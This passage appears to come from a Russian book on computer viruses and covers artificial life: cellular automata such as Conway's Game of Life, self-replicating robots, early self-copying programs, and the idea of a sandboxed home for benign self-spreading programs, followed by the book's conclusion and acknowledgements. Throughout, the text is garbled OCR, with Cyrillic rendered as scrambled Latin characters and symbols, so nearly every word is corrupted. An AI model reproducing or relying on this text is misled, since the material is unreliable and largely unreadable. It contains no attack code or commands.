«a6noreHe3a», 3aii/iH c apyroft CTopoHbi: cMoae.rapoBaB >KH3Hb Ha 3BM ?

Ile p B b ie  M oaejiii n o a o 6 n o ro  p oaa b o c x o a h t k  pa6oTe  4>oh H eH M aH a 

«T e o p H H  caM 0B0cnp0H3B0flflm H xcH aBTOMaTOB* [25]. B 1948 r., p a c- 

CMOTpeB cxeM y ra n o Te ra H e c K o ro  caMopa3MHO>KaioinerocH p o 6 o Ta , c|)oh 

H eftM aH  npHiiie.x k  Bbreoay, h t o  cym e cTB yio iiiH e  Ha t o t  m o m c h t TexH O - 

jio rH H  He cno co6H bi peajiH 30Barb H C K yccTB eH H tie  H eftpoH H , np0B0/iHH- 

k h  h  nepeKJHonaTe.iH HepBHbix H M nyjib coB , M bm njbi, TpaHccjx>pMaTopbi 

S H e prH H  h  nponee. B aajibH eiiuieM  o h  CKOHiieH TpHpoBaji BHHMaHHe Ha 

6ojiee a6cTpaK TH b ix M o a e jw x, KOTOpbie m o tjih  6m  6biTb Bocn poii3B eae - 

h m  Ha 3BM. O h  pa3paooTaji HeKoe o6o6 m eH ne M auiHHbi Tb io p H H ra : a 6 - 

CTpaKTHbiH BbiHHCJiHTeiib, H4CHKH K O To poro  pacn o jia ra jiH cb  He Ha JieHTe, 

a Ha pacnepneHHOH Ha k .to to h k h  iijio c k o c th . lip e a n o jio K H B , h t o  Kaacaaa 

HHeiiKa MoaceT naxoaHTbCH b o jh iom  H3 29 c o c to h h h h , 4>oh Ile iiM a H  H a m i- 

caji HecKOJibKO «n p o rp a M M » rjisi Ta K o ro  BbPincjiHTejiH, b to m  h h c jic  h  T a - 

KHX, KOTOpbie 6bIJIM c n 0C06HbI o6MeHHBaTbCH HH(J)OpMaL(HeH C apVTH M H 

«n p o rp a M M a M H » h  co3aaBaTb coocTBeHHbie KonH H , t o  ecTb b c c th  ceon n o - 

A o 6 h o  acHBbiM cym ecTB aM . Ilo3flH ee, Ha 0CH0BaHHH Haefi 4>oh H e iiM a H a  

6buio  C03flaH0 6o jibiuo e k o jih h c c tb o  pa3Hoo6pa3Hbix M oaeJieii «> k h b w x » 

aBTOMaTOB, KaK 6ojiee c.xojkhw x, TaK  h  BecbMa n p o cTb ix . I I Ih p o k o  H3Bec- 

TeH, H an piiM ep, KJieTOHHbiH aBTOM aT «> K ii3 H b » JX'Ak. K o h b c h :

O np0CTpaHCTB0 pacnepquBaeTOH Ha kjictohkh;
O Kaacaaa KJieTOHKa MoaceT naxoanTbcn B cero  b asyx coctohhhhx -  

«nycTO» H «He nycTO» («3aHHT0»);
O  nycTaa KJieTOHKa, HMeiomaa Tpex HenycTbix coceaeii, caMa craHO- 

bh tch  HenycToti;

O  3aHHTaH KJieTOHKa, HMeioman aByx iijih Tpex 3aHHTbix coceaeii,
OCTaeTCH 33HHT0H;

O  3aHHTaH KJieTOHKa, HMeiomasi oaHoro h jih  6ojiee  Tpex coceaeii, cTa- 

hobhtch  nycTOH.

PacnojioacHB B paa.'iHMHbi.x KJieTOHKax HeKOTopoe kojihhcctbo «(|jh- 

u ieK », a 3aTeM aHHMiipya <<cueny» b cootbctctbhh  c omicaHHbiMii Bbiiue
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npaBHJiaMH, mo>kho nojiynaTb oneHb jno6onbrmbie ko H4>Hry p a nn h  , 

Mo^ejiHpyioiUHe pa3MHoaceHHe h rnoejib jkhbmx oco6eft h nonyjiauHH. 
Bo^buiHHCTBO KOHf^HrypaqHH nepe3 onpeaeJieHHoe kojihhcctbo inaroB 
nojiHocTbro HCMe3aK)T, HeKOTOpbie nepexoa*rr b ycTOHHHBoe cocToaHHe, 
nepecTaB BHaoH3MeiMTbCH (HanpHMep, «6 jiok » h o t «6aabn»). Han6o- 
n e e  HHTepecHbi KOH(J)HrypanHH, KOTopbie npoaoJiacaioT cymecTBOBaTb 
BeHHO, jih6 o «nyjibCnpyH» c onpeae;ieHHbiM nepnoaoM (HanpHMep, <mh- 
rajiKa» hjih «3Ka6a»)> jih6o nepeMemaacb b npocTpaHCTBe (HanpHMep, 
«rjiaii/iep»). KcTani, «rjiaiiaepbi» HMHTHpyioT npHHUtnn «naHcnepMiiii»: 
HaTKHVBIUHCb Ha CTaTHHHyTO KOH(j)HrypanHfO, OHH MoryT «B30pBaTb» 
ee, nopoaHB npH stom HecKOJibKO hobux «rjia&flepoB». ilHTepecHo, 
hto KJieTOMHbiii aBTOMaT «>KH3Hb» cna6>KaeT apryMeHTaMH He TOJibKo 
«a6 ii0reHeTHK0B» h «naHcnepMHCTOB», ho h «KpeanH0nncT0B». B yacT- 
hocth, cymecTByfOT cjio>KHbie KOH(|)HrypaUHH (TaK Ha3biBaeMbie «pan- 
CKHe Ca/IM>>), KOTOpbie MOryT 6bITb C03/iaHbI TOJIbKO HCKyCCTBeHHO, TaK 
KaK He HMeiOT JieraJibHbix, He HapyiuaiomHX nepBOHanajibHbix npaBHJi, 
npeamecTBeHHHKOB.

CymecTByioT TaiOKe TpexMepHtie h n-MepHbie BapnanTbi 3Toro Kjie- 
TOHHoro aBTOMaTa. «>KH3Hb» KoiiBea oKaaajia 3aMeTHoe bjihhhhc Ha 
pa3BHTiie HeK0T0pbix pa3£ejiOB MaTeMaraKH, hhcJjopmsthkh h (J)H3HKH. 
Ho rjiaBHoe, OHa o6ocHOBMBaeT B03M0acH0CTb cymecTBOBaHna cjiojkhmx 
CaM0B0Cnp0H3B0aHmHXCH CHCTeM, n0CTp06HHhIX H3 npOCTblX Ky6lIK0B 

no npocTbiM npaBHJiaM. Bo3mo>kho, n p o yeccb i, npHBeauiHe k co3aaHHio 

«c y m e c T B a »  H3 «BemecTBa», b hcm-to obuiH cxojkh c Moan(J)HKaniiHMii 

KOH(J)HrypanHH Ha HrpoBOM nojie «>Kh3hh»-. KaK 6bi to  hh 6biJio, «KHoep- 
HeTHMeCKHH» nOAXOfl K MOaeJIHpOBaHHIO JKHBOH M3TepHH OKaaaJICH OMeHb 

naOflOTBOpHMM.

Caeayiom He inarn b  sto m  HanpaBJieHHH 6bi.™ cBH3aHbi c nonbiTKa- 
m h  yc.iojKHHTb coaepacHMoe aneeK, npnaaTb h m  aBTOHOMHOCTb. BMecTo 

«cf)nmeK» CTajm paccMaTpiiBatbCH pa6oTaiomHe no onpeaejieHHOMy aji-

Ejiok Eaflbs M wram a >Ka6a fnawAep

Pmc. 7.61 ❖ ripuMepbi 06beicT0B 
icneTOMHoro aBTOMaTa «XM3Hb»
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rop iiTM y nporpaMMbi. C o 6cTBeHHO roBopa, s to  yace h 6bian KOMnbHxrep- 

Hbie BHpycw. HeKOTOpbie pam ffie  sKcnepii.MeHTbi, cBH3aHHue c caMopa3- 

MHoacaiomHMHCH nporpaMMaMH, 6 buiH ynoMHHjTbi paHee Ha c-rpammax 

Ham eft khhth :
O  3 to h nporpaMMHCTCKHe H rpw  ra n a  «/I,apBHH» (1 9 6 1 ), «C o re  

w a rs *  (A .  /IbioflHH, 1983) h « C  rob o ts* (T . IIoftHfleKCTep, 1985), 
b K0T0pbix KOHKypHpyK>T 3a >KH3HeHHoe npocTpaHCTBo h aaace 

BoioK)T ap y r  c apyroM  HanncaHHbie jno#bMH nporpaMMbi;

O  s to  h  HepBb-mjm ca «Creeper>>, nepeTacKHBaiomHH ce6 a  c KOMnbiO

Tepa Ha K0Mnbi0Tep aoKaabHoft c e ra  (B .  ToMac, 1973);
O  sto  h  MepBb «X e r o x » ,  pacnpocTpaHHiomaftcH no y sa aw  c e ra  h  h c - 

no.Tb3yioinnft b MHHyTbi npocToa h x  BbiMHCJiHTejibHbie pecypcbi 

(1 9 8 0 );
O  h , HaBepHoe, M Horae ap y rn e  pa3pa6oncn, CBeaeiiHa o KOTopux  

npocTo He a o u ijih  Hac.

TaKHM o6pa30M, KOMnbK)TepHbie BHpycbi -  He 6ecnoae3Haa 3a6aBa, He 

BpeaoH ocnoe ii3o6peTeH H e 3Jio6Hbix xaKepoB, a HeH36eacHbift 3Tan b npo- 

uecce MoaeaHpoBaim a acHBoft MaTepiiH. To, h to  ohh  He aaaepacaancb 

B BblHHCJIHTeAbHHX Jia6 opaTOpHHX, a 0Ka3aJIHCb b acHBoft r ip iip oae*, hb- 

JiaeTCH aniitb cBiiaeTeabCTBOM T e x n o a o n i 'ie c K o fi  npocTOTbi h x  coaaaim a. 
E a r n  H^ea Hac'roabKO npocTa, h to  MoaceT 6 biTb peaan30Bana «BpyHHyio» 

h «n a  K oaenKe», to  s to  06a3aTeabH0 nponaoftaeT.

A  h to  ace apvrH e HanpaBaeniia b  MoaeaHpoBaHHH acHBoft MaTepiiH -  

<sxnMHHecKoe» h  «MexaHHHecKoe»? H eyacean ohh  saraoxaH  nocae  o th o -  

CHTe.iibHbix Heyaan cepeanHbi X X  BeKa? /JeftcTBHTeabHO, b TeneiiHe hc- 

CKOJibKHX aecaTiiaeTHH s th  HanpasaenHa noHTH He pa3BHBaaiicb, 6yayHii 

CKOBaHbl TeXHOJIOniHeCKHMH OrpaHHHeHHHMH. H o  B KOHUe X X  BeKa MHO- 

rae H3 s th x  orpaHHHeHHH 6h jih  npeoaoaenbi, h  b pe3VJibTaTe upoHsoniea 
HaCTOamilH B3pbIB HOBbIX OTKpblTHft H H3o6peTeHHH.

HanpHMep, b 1990-x roaax 6buiH paciimcJjpoBaHhi reHOMbi npocrax acn- 
Bbix cymecTB, t o  ecTb onpeaeaeiibi nocaeaoBaTeabiiocTii cocTaB.aaiomnx 

h x  aeTaaeK-HjTcaeoTHflOB. A b 2003 ro a y  xaKaa ace pa6oTa Dbiaa 3aBep- 

ineHa a^a HeaoBenecKoro reHOMa. Bee s to  no3BoaHao co3#aTb KOMnbro- 

TepHyio Moaeab npHMHTHBHoft KJieTKH h uposMyanpoBaTb penanKaiiHro 

/U IK (/I. LLIocTaK, 2007), a nyTb r i03 *e  b yHHBepcHTexe Bepiom coaaaiia 

yiiHBepcaabnaa HHCTpyMeirraabtiaa cpeaa aaa  TaKHX BbPiHcaHTeabiibix 

3KcnepiiMeHTOB (/lac. K iicam ir. 2011). TaKace HCKyccTBeHHo co3aanbi 

/III K-noao6iibie MoaeKyabi, yMeioiiu ie BocnponaBoairrb ceoa (II. Haii- 
KHH, 2011). XHMIIHeCKH CHHTe3HpOBaH, uepecaacen B 6aKTepiIIO II Hop- 

Maabno pa6oTaex HCKyccTBeiuibift renoM (K. Bem'ep, 2010).



He c t o h t  Ha M ecTe h  «M e x a m m e c K o e »  HanpaB,TieHiie. C m o t p h t c : Ha 

CTOJie c t o h t  6ameHKa H3 Tp e x  K y6 n K O B  -  He6ojn>uiHx, Ha bh/i ru iacTM ac- 

coB bix, HanoMHHaKJiitHx aeTa jiH  aeTC K oro  KOHCTpyKTOpa «/Iero».
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Pmc. 7.62 ❖ «XnBbie» poSoTbi

Bflpyr oHa naziaeT, ho He paccuriaeTCH, a, acyacaca cepBOMOTOpmiksmh, 
HaHHHaeT H3rn6aTbcn b pa3Htie CToponu, iio/iooho ryceHHue. KocHyB- 
uiHCb apyroro  TaKoro ace Ky6nKa, cnoKOHHO .neacamero Ha croJie pxnoM, 
OHa npimenjiaeT ero k ce6e, h aajibiue oKpyacaiomee npocTpaHCTBo h ann
ua eT ODC.TeztOBaTb yace qenoHKa H3 MeTbipex Ky6HKOB. 06napy*H B  Heno- 
aaaeKy HOBbie aeTaJiH, «MexaHHHecKHH HepBHK» Taicace npHcoeflHHHeT hx  

k cBoeMy TeJiy. Konia kojiiimcctbo ky6hkob aocraraeT uiecTH, paa/iaeTcx 

mejiHOK -  H nenoHKa pacnaaaeTca Ha a Be o^HHaKOBbie no.'iOBHHKH, b Kaac- 
aoit no Tpii Ky6nKa. /laJibiue ohh 6y/iyT «niiTaTbca» h <spa3MiioacaTbCH»
3BT0H0MH0.

H to  sto? 9nii30fl H3 Hay4HO-c|:)aHTacTH4ecKoro (|)H.ibMa? HeT, bto po- 
JIHK, KOTOpblH fleMOHCTpHpyeT pa6oTy Ca.MOBOCnpOH3BOflamHXCa pooo- 
TOB, CKOHCTpyHpOBaHHHX B 2005 TOfly B KopHe/IJlbCKGM VHHBepCHTeTe. 
K coaca.neHHio, 3th po6oTbi cnoco6Hbi CTpoHTb cboh Tejia H3 3apaHee 3a- 
rOTOBJieHHblX He/IOBCKOM Ky6nKOB. 3aTO C03ZiaHHbIH B BeJIHKOOpHTaHHH 

po6oT «RepRap» y.vreeT HaroTaB/iHBarb ;ieTa/m, H3 KOTopbix caM ace 11 co- 
CTOHT. I I  HeT npHHUHIXHajlbHWX OrpaHHHeHHH, KOTOpbie He n03B0.JIHJIH 
6bl «CKpeCTHTb» POOOTOB 3THX flByX TlfflOB.
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He HCfoiioqeHo. hto 4epe3 uecicojibKo .tot no HauiHM rioaBaJiaM h  Ka- 
HajrasamraM, CKpiuia uiecTepeHKaMH, n o 6 e ry r  MexamaHecKiie Kpbicu h 
TapaKaHM. B ot Toraa-To m u  co c.nesaMH yMiuieHiia BcnoMHHM, a o  nero 

>Ke cn o K o iiH o  h  6e30nacH0 6buio b  s n o x y  KOMnbiOTepHbix BHpycoB!
KoHeHHO, sto  rnvTKa. H o mvTKa, aacraBJiHroiuaa rjiy60K0 3a/iVMaTbca 

naa nepcneKTHBaMH ncKyccTBeHHOH 5KH3HH. BnponeM, aaJieKo b 6yaymee 

3arJiaafaiBaTb noKa He ctoht. «MexaHHHecKaa» h «XHMHHecicaa» XH3Hb 

noKa ae.xaioT nepBbie rnarn, h nen3BecTHO, hto H3 axoro nojiyHHTca, 3aT0 

«K0Mnbi0TepHaa» non™  neTBepTb BeKa KonouiHTCH Ha HauiHX BHHHecTe- 
pax h b cerax. B ot o Hen h noroBopHM.

C.'ieayeT OTMeTHTb, h to , HecMOTpa Ha aoBoabHO a^iHTe/fbHMH cpoK  

cymecTBOBaraia caMopasMHOvKaioinHXCH n porpaM M  b « ahkom  npnpo- 
ae », n poB eaeH b i aaJieKo He Bee «3KcnepwMeHTU» no MoaeJiHpoBaHHio 

«KOMnbIOTepHOH 5KH3HH». EcJIH Ha caMOnpOH3BOJIbHOe 3apO>KaeHHe BH

pycoB nyTeM cnoHTaHHon MyTamm oTaeJibnux 6 h to b  b «Hop.\fajibHbix» 
nporpaMMax h iik t o  cepbe3Ho He Haaeajica, t o  yac pa3JiHHHue «acH 3H eno- 

a o 6 H b ie » acneKTM  pa3MHOMcemia CM oaejrapoBaTb c to h jio .  Hto h HMeio 

b  BHay?
HTaK, co3aaHHe Konnu aah nporpaMMbi h n ep eM em em ie  ee Ha apyroii 

KOMnbroTep («BpyHHyio» hjih no ce ra ) Biipy conn c a r e  j i h  m h ycnemHO oc- 
BoeHo, a BHpycoJioraMit xopomo H3yneH0. K coacaJieHHio, Ha s t o h  Moae.sm 

m o*ho  aiiuib H3ynaTb aeJiemie HH(J)y3opHH h pacnpocTpaHeHHe rpHnna.
/taaee, MoaejmpoBaHHe noJiOBoro pa3MH0»ceHHa, xapaKTepHoro a j i h  

BbicniHX jKHBOTHbix, cJ^aKTHHecKH He cocToa.aocb. Haea TaKoro SKcnepH- 
MeHTa obuia npoaeMOHCTpHpoBaHa, ho Ha npaKTHKe He peanH30BaHa. I I o 

KpaHHefi Mepe, «MeaJieHHHH» D O S -B H p y c  RNMS aa>Ke KpoxoTHoii siih- 
aeMHH He BM3Ba.a, a b a n o x y  ceTeBUx nepBefi. K oraa , co6cTBeHHO roBopa, 
HHTepecHeftmaa CTanicTHKa h M o n ia  6biTb c(J)opMHpoBaHa h n ojiyn eH a, 

00 3TOH Haee HHKTO He BCnOMHH.il.
Ta ace H CTopua npoiisoiiiJia h c «MeaaeHHUM n0JinM0p4>HK0M» 

Pkuok.1586. HanoMHHM: BHpyc TacKaeT c c o 6 o h  «apeMJnomHii reHe- 
THHecKHH MaTepna.x> (3auiHcJ)poBaHHMe BapiiaHTU K o a a ) 11 MympycT  

Jiiinib H3peaKa, Koraa BHeuiHHe ycjioBiia coB naaa ioT  c k jiioh om  pacimnj)- 
poBaHiia. BnponeM, snnaeMHii BHpyca, 3apa>Kaioinero (jraHJibi b TeKymeM 

KaTajiore, acaaTb He n pu xoaH Tca . A Meacay TeM HHTepecHO o u j io  6bi no- 
cMOTpeTb Ha cTaTiicTHKy pa3JiHHHbix MyTamift b  MacuiTa6ax iiet'KO/ibKHx 
COTeH H TbICHH 3K3eMII.TMpOB.

Eme HHTepecHeii BBirjiaaeJia 6u  CTanicTHKa, coopaHHaa n o  pe3yjibTa- 
TaM snnaeMHii ninoTeTHHecKoro nepBa, pea/msyiomero naeio cKpemn- 
BaiiHH, to  ecTb ooteaiiHeiiHH reneTHHecKoro MaTepiiajia aeyx oco6en c
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qejibio nojiyneHHH hoboh pa3H0BHAH0CTH. ITpeacTaBHM ce6e, mto Kaacaaa 

onepauHH, peajiroyeMafl BHpycoM (HanpHMep, noncK ne.neii nm 3apa- 

jkchiw, OTKpHTHe 4>aiiJia, ycTaHOBKa CBH3H c y3Jio\i cera h t. n.), MoaceT 

6biTb pea;iH30BaHa HecKoabKHMH pa3HWMH c n o c o 6aMH, 0praroi30BaH- 
HbiMH b BHae n porpaM M H bix  «kv6hkob L E G O » .  Koraa aBa aKseMnjiapa 

BHpyca BCTpenaioTcfl Ha oahom KOMnbK>Tepe, to  ohh cjiyuaiiHHM o6pa- 
3om o6MeHHBaioTCH «K y& H K aM H » h aa jib iu e  n yT eiu ecTB y ioT  y * e  b moah- 
4>imHp0BaHH0M Bnae. H enro noao6Hoe Hcnoab3yeTca b coBpeMeHHbix 
«6oTHerax», Koraa a sa  «30M6np0BaHHbix» K0Mnbi0Tepa ca yH a im o  o6mc- 
HHBaiOTCH aapecaMH < c o c e a e H ».  H o  ueab-To -  3arp yaH iiT b  o 6Hapy>KeHHe 

ynpaBJT>nomHX nem -poB , OTKyaa 3apa*eHHUM ysaaM no cera nepeaaioTca 

HHCTpyKUHH. A Bbl H3HBH0 nOflyMajIH, HTO BHpyCOnHCaTeJIH 3aHajIHCb- 
TaKH MoaeanpoBaHHeM K0Mnbi0TepH0H >KH3HM?

"My*CKOvi*
Bupyc

Bupyc

Pmc. 7.63 ❖ Mo.qe.nn KOMnbiOTepHbix BupycoB, 
ncnonb3yioiJUMX HacneflOBaHMe cboCictb: a) flByno/ibm Bupyc RMNS;

6) MeAneHHbifi no/iHMop4>MK Pkunk; b) reHeTimeciaiM MyTaHT

KcTaTH, a HeJIb3.H JIH o 6oHTHCb a.M  n o a o 6HbIX 3KCnepHMeHT0B He- 

kotopm m  KO.TiiiqecTBOM crrennajibHO BbiaeaeHHbix MaiiiHH? HanpHMep, 
HecKOJibKO aeT  Ha3aa bo BjiaaHM HpcKOM  rocyHHBepcHTeTe 06pa30BaaH 

cneuHaabHyio «MoaeJibHyio cpeay* aaa  H3yMeHiiH pacnpocTpaHeHHa 
HepBeft, ycTaHOBMB Ha ks>khom H3 aecHTKa komti biOT ep o b no MeTbipe BHp- 

T>raabHbie MauiHHbi. M a jio ?  Mwe>i >KejiaHHe h  oooTBo'TCTByioU-tlie cJ)HHaH- 

COBbie B03MOJKHOCTH, M0JKH0 B3flTb CTO KOMnblOTepOB HJIH TbICHHy. Ho  
Koe-MTC> njioxo noaaaeTCH MoaejmpoBaHHio -  3T0 <f>aKTopbi, BJiHfliomiie 

Ha pacnpocTpaHeHHe H pa3MHo>KeHHe: paajim HH b annapaType, b BepcHHX 

onepauHOHHLix chctcm , b ycTanoBJieHnoM nporpaMMHOM oSecnenenHH,
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b KOHcJ)Hiypamwx (f)aiiJiOBbix cHcreM, b HeoAHopoAHbix ceTeBbix n p o - 

TOKOJiax h t. n . Ecjih a<H3Hb Ha 3eMJie B03HHKJia Bce-TaKH b pe3yjibxaTe 
■«XHMHMecKOH sbojhouhh*, to  ITp u p o A a  SKcnepH M eHTHpoBaAa b MHoro- 
HHCJieHHMX JiyaCHItaX c pa3HbIM XHMHHeCKHM COCTaBOM, a He B MHJIJIHOHe 
KOnHH OflHOH H TOH 7K£ JiyaCHUU.

X0TejI0Cb 6bl, HTo6bI MCHH nOHHAH npaBHAbHO. JI He npH3MBaiO K 

HanHcaHHio BHpycoB a AaJibHeiimeH acKa.aauMH npo6AeMbi BpeaoHocHUX 

nporpaMM. B kohuc kohhob, Bee caMoe njioxoe yace np0H30iiiA0. Bupycbi 
AaBHblM'flaBHO aCHByT H pa3MHOaCaiOTCH B «flHKOH npnpofle». 3jI0yMbIUI- 
JieHHHKH fleCHTKH JieT HCnOJIb3VK)T HX B CBOHX TpH3HbIX UCJIflX Ha BCK5 
KaTyuiKy, ho noneMy-To Majio komv iiphxoaht b rojioBy npHMeHHTb hx  

Ha nojib3y HejioBenecTBy. Cicopee Bcero, BHHOBaT AoacHbiii h m h a* «Bpe- 
Aohochocth* h «6ecn0jie3H0CTH>>, npffliHcaHHbiH KOMnbioTepHHM BHpy
caM. A  Meacay TeM BHpycHbift npHnqnn pacnpocTpaHeHHH nporpaMM h 

AaHHbix 'ipesBbiHaiino acJxJjeKTHBeH h Mor 6m npHHecra HeMajio no.ib3bi.
Ecjih ace koto-to  cMymaioT cBoacTBa «HecaHKUHOHnpoBaHnocTH». 

«HeKOHTpOJIHpyeMOCTH» H 4Bpe;10H0CH0CTH» KOMnblOTepHbIX BHpyCOB, 
to  Beflb o t  hhx Aenco H36aBHTbCH! IlpeACTaBbTe ce6e HeKoe «oropoacen- 
Hoe mccto », BHpTyajibHyio MauiHHy, cosziaBae.Myio h noAAepacHBaeMyio 
onepamioHHoii chctcmoh Ha KaacAOM KOMnbiOTepe cneunaJibHO jijix Bbi- 
nojiHeHHH caMopacnpocTpaHarouiHxca nporpaMM. OHa 3aBeAOMO hc- 
nojib3yeT 3apaHee oroBopeHHyio liacTb BbiMHCJiHTe.'ibHbix pecypcoB (na
MHTH, AHCKOBOTO npocTpaHCTBa, npoueccopHoro BpeMeHH h nponero) h 
HHK3K B3aHM0ijeHCTBVeT C peCypCaMH, BbmeJieHHblMH AAH «HOpMajIb- 
Hhix» nporpaMM. Hmchho noAooHoro npHHiotna b CBoe BpeMH He XBaTajio 
nepBio «X e ro x  w orm ». B 3Ty MauiHHy nonaaaioT h b Hen BbinoJiHHiOTCJi 
TOJibKO BHpycbi h MepBH, coAepacamne 3JieKTpoHHo-UH(J)poBMe noanHCH 
o t  M icrosoft, IB M , JIa6opaTopHH KacnepcKoro h nponnx. Bee ace «ne- 
jiera.XbHbie» BHpycu aBTOMaxHHecKH 6jiokhpjtotch  Ha BxoAe hah vhhh- 
ToacaioTCH BHyTpn.

E c a h  HyacHO 6bicTp o  nepeAaTb  K a K 0 e -T0  BaacHoe am B ce ii ceTH  c o o 6 - 

m eHH e h a h  naTH  a a h  n p o rp a M M H o ro  ooecneH em tH , t o  BMecTe c h h m h  Ha 

Bam  KOMnbiOTep n o n a A e T MaAeHbKaa «B H p y c H a H » nporpaM M Ka, Koxopan 

o y A e T 3aHHM aTbca Aa.nbHCHiueH paccbiAKOH. B jia ro A a p a  raicoM y n o A x o A y  

«rro cb iJiK a » pacu p o cTp a iiH TC H  n o  BceM y M iiTe p n e x y  b o h c t h h v  co CKopo- 

CTbio «MepBH y o p x o jia * , t o  ecTb 3a 'icTB e p Tb  liaca. C o o tb c tc tb c h h o , 6 o t - 

HeTbi, cnaM  h  anH ACM m i « a h k h x »  BupycoB oyAyx noAaBJiHTbca h  yun’iTO- 
acaTbca c xaKoft ace CK opocTbio [7 0 ],

Hojieana 6yACTnoAo6na>i B03Moacnocxb h b tom  rjiy iiac. ccjiw b h  xoxuxe 

noynacTBOBaTb b KaKOM-mi6yAb npoeicre, xpe6yiomeM pacnpeACJieHHbix
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BbiMHCJieHHii. HanpHMep, TaK m ojkho  npoMoflejinpoBaxt> ynoMHHyTbie 
Bbiuie «no.JioBoe pa.3MH0>KeHne» h  «C K pem H B aH tie», noHCKaTb BHe3eMHoii 
pa3yM (npoeKT SETI@HOME) h o t  HMcjia MepceHHa (npoeKT GIMS). 
B HacToamee BpeMH Bee s t o  Toace b o 3 m o x h o , h o  T0JibK0 noc.ne zojirnx co
rn acoBaHHH, ycTaHOBKH Ha BarneM KOMnblOTepe cnennajibHOH nporpaM- 
Mbi-KJiiieHTa (HanpHMep, ncno;ib3yeMoro b paMKax TexHOJiornn BOINC) 
H T .n .B  CJiyyae ace, ecOT Ha BarneM KOMnblOTepe ycTaHOBJieH «xjieB a m  

BHpyCOB», TO BaM He Hy>KHO 6}'ijeT HH O qeM 6ecnOKOHTbCH: 4BHHHWIH- 
xejibHbie Bupycbi»  6yayT 3aHHMan> h noKHflarb ero caMocroRTeJibHo. Ha
npHMep no onpeaeJieHHOMy pacnHcaHHio.

Xhihhhkh, rpH6KH-napa3HTbi h KOMnbiOTepHbie BHpycw jionro oTpaB- 
JIHJIH HaM 3KH3Hb. Ho nOTOM MW lipHyMHJIH AH KOTO BOJIKa H BOCnHTajIII H3 
Hero CBoero ji yum ero apyra -  co6aKy. n.aecneBwe rpn6KH He TOJibKO nop- 
THT HHlilH npOAVKTbl, HO H B BHfle neHHUHJIJIHHa H JIHblX aHTH6HOTHKOB 
Beayr 6opb6y  3a Harne aaopoBbe.

He HacTajia ot nopa npiipyM HTb h iipHMenaxb bo 6jiaro ce6e KOMnbio- 
TepHbie Bupycw?



3 AKAKDHEHI/IE

...OxomHUK c ycMetuxoii paccMamptieeui (pom o- 
tpatputo, id e  eo36yxdeHHuii hosuwjk lopdeJiueo 
nonupan Mepmeoe uydoeuine.

A. h  B. CTpyraiiKiie.
«Bo3BpameHHe» («riojiaeHb. XXII Bef»)

Kraira, nocjieaHKJio cxpanHny KOTopoS bh  TojibKo hto  nepeBepHyjm, 6biJia 
saavMana oneHb aaBHO -  b Ty anoxy, Kor/ia b Hanrefi CTpaHe MHTepHexa 
eme He 6biao, cpeaa Windows CHHTajiacb «rpa4ninecKOH o6ojiohkoh» a-na 
onepauHOHHOH CHCTeMbi M S-D O S, otjjHCHhie naKeTbi, n rpu  h yTHJiHTw 
nepeH0CHJiHCb npH noMomn /jhckct, a BMecTe c hhmh Ha KOMiibiOTepbi 
npoHHKajiH MajieHbKHe caM0pa3MH0>Karomneca nporpaMMkh -  Biipy- 
cbi. I l l  jih roabi, eMeHHJiHeb noKo/ieHaa BiipyeoB, C0BepuieHCTB0BajiHCb 
TexHOJionm h upHCMbi hx anajum , ycaoacHaJmcb h aopoacaJiH aHTHBH- 
pycHbie nporpaMMbi. YcHJiHaMH Ma.iorpaMOTHbix acypHa.JiiicTOB, HeKBa- 
JIH(|)HmipOBaHHMX n0.Xb.30BaTe.TreH H Ha30HJIHB0-a>KHBhIX peKJiaMmHKOB 
BOKpyr npoojieMbi ccfiopMiipoBajica (Jwiep TaHHCTBeHHocra h HenocTHacH- 
mocth. Bwui.xa flioxHHa khht: o^hh nbrrajiHCb HayHHTb jxroooro acejiaio- 
m ero nncaTb npHMHTHBHue, aaBHO ycTapeBiuHe BHpycbi; apyrHe y 6eac- 
aajiH noKynaTb cbokhc BepcHH aHTHBHpycHbix nporpaMM h He 3a/iaB3Tb 
JIHUIHHX BOnpOCOB.

K H H ra , K oxopaa j io k h t  nep e a  BaMH, aapecoBaHa }KeJiaK>mHM pa3o- 
6paTbca b cyro  npo6.xe.Mbi c no3HUHH HenpeaBsaxocTH h o6,beKTHBHocTH. 
O H a  BnH TaJia n o jiy ro p a a e c a n ia e T H H H  oriBiT uccaeaoBaH H H  KOM nbiOTep- 

Hbix BHpyCOB H Ha6jiroaeHHH 3a pa3BHTHeM BIipyCHblX H aHTHBHpyCHbIX 
TeXHOJIOTHH.

Pa3yMeeTCH, KHHra He aHiueHa HeaocTaTKOB. rionxH HaBepHKKa OHa co - 

aepacHT Maccy HeTonHocTen h oiuh6ok. Bepoam o, b Heii He ynoMHHaeTca 
nxo-HHoyab BajKHoe, o  cjTuecTBOBaHHH H ero aBTop aaace h He n o a o 3pe- 

BaeT. Bo3.mo>kho, npn onHcaHHH ajiropHTMOB h MaTeMaTHHecKiix Moae- 
aeit Hcn0.xb30BaHbi c jih iiik om  r p y 6bie ynpomeiiHa. He HCKJitoneHO, mto 

k MOMewry Buxoaa H3 nenara aaace caM bie «CBeJKHe» n pH M epw  ycTapeiOT. 

TeM H e M eHee ec.xH HKiTJiHBbift HHTaTejib, H an aa  yaH BH B inyio  e ro  CTpoHKy, 
noanepKHeT ee KapaHaauiHKOM, a n 0T0M n o a e se x  b vneoHHK hjih cnpaBOH- 
HHK H aOCKOHaJIbHO H3yHHT n p o 6 jieM>\ TO EBTOp 6yaCT TOJIBKO paa.

HaBepHoe, 6yayT paaw He TojibKo caM  aBTop, ho h Te, k to  noMora.'i 

e.My pasoHpaTbCH b c.xojkhmx Bonpoeax, cHatwKaJi HHfJ)opMannei;i, noa-
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flepacHBa^ h BaoxHOBJWJi. Bot ohh: A. TocTeB, M. /Ihkihcb, A. KapHMOB,
B. KoKapeB, B. Kojicchhkob, A. OreHKo, B. Pyccy, a xaioKe J.-P. Godet,
B. Kojie^a, JX- KyjibniHUKHH, O. Chh, B. IH,ep6aK h P. Xa.rayjumH. He- 
K0T0pue cjiojKHbie TeMbi He Morjin 6biTb ocBemeHH 6e3 MHMOJieTHoro, 
ho njio^oTBopHoro ynacTHH A. /lopc^MaHa h A. Baacamoica. He./ib3H He 
oTMCTHTb jiioooaHaTe.xbHyio E. OpjioBy, KOTopaa, caMa Toro He Beaaa, 
TaKace noBjmsuja Ha coflepacHMoe HeK0T0pbix pa3/ieJioB (npeayie Bcero 

nocBHiueHHbix Win32-BHpycaM). /laJieKo He Bee, ho 3HaHirre;ibHafl HacTb 
iicn0.Jib30BaHHbix b KHHre MaTepna.iOB -  BHpycoB, CTaxeH, ajiropHT- 
